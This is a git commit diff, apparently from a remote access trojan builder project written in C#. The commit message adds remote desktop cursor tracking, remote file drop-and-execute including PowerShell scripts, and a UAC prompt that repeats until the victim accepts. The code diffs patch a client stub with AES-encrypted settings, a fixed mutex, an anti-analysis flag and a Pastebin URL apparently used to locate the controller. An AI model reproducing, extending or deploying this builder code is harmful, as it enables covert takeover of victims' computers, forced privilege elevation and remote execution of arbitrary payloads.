added - remote dekstop move movements
added - remote desktop showing cursor movements
added - showing active window when client connected immediately
updated - send file to disk will show if the file ran successfully or not
fixed - send file to disk fixed when executing .ps1 file
updated - UAC popup now will run until the user press accept
fixed - mutex
This commit is contained in:
NYAN CAT 2020-05-10 08:24:12 +03:00
parent 10c995be22
commit 5937e381f9
4 changed files with 10 additions and 8 deletions

View File

@ -21,7 +21,7 @@
<value>True</value>
</setting>
<setting name="Mutex" serializeAs="String">
<value />
<value>AsyncMutex_6SI8OkPnk</value>
</setting>
<setting name="Pastebin" serializeAs="String">
<value>https://pastebin.com/raw/s14cUU5G</value>

View File

@ -95,7 +95,8 @@ namespace Server.Forms
}
catch { }
txtMutex.Text = getRandomCharacters();
if (Properties.Settings.Default.Mutex.Length == 0)
txtMutex.Text = getRandomCharacters();
}
@ -185,8 +186,6 @@ namespace Server.Forms
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
}
if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = getRandomCharacters();
if (string.IsNullOrWhiteSpace(txtGroup.Text)) txtGroup.Text = "Default";
if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return;
@ -371,7 +370,7 @@ namespace Server.Forms
{
asmDef.Assembly.Name = Path.GetFileNameWithoutExtension(AsmName);
asmDef.Name = Path.GetFileName(AsmName);
if (type.Name == "Settings")
if (type.Name == "Settings")
foreach (MethodDef method in type.Methods)
{
if (method.Body == null) continue;
@ -430,7 +429,10 @@ namespace Server.Forms
method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));
if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
if (string.IsNullOrWhiteSpace(txtMutex.Text))
method.Body.Instructions[i].Operand = getRandomCharacters();
else
method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
if (method.Body.Instructions[i].Operand.ToString() == "%Anti%")
method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower());

View File

@ -61,7 +61,7 @@ namespace Server.Properties {
[global::System.Configuration.UserScopedSettingAttribute()]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Configuration.DefaultSettingValueAttribute("")]
[global::System.Configuration.DefaultSettingValueAttribute("AsyncMutex_6SI8OkPnk")]
public string Mutex {
get {
return ((string)(this["Mutex"]));

View File

@ -12,7 +12,7 @@
<Value Profile="(Default)">True</Value>
</Setting>
<Setting Name="Mutex" Type="System.String" Scope="User">
<Value Profile="(Default)" />
<Value Profile="(Default)">AsyncMutex_6SI8OkPnk</Value>
</Setting>
<Setting Name="Pastebin" Type="System.String" Scope="User">
<Value Profile="(Default)">https://pastebin.com/raw/s14cUU5G</Value>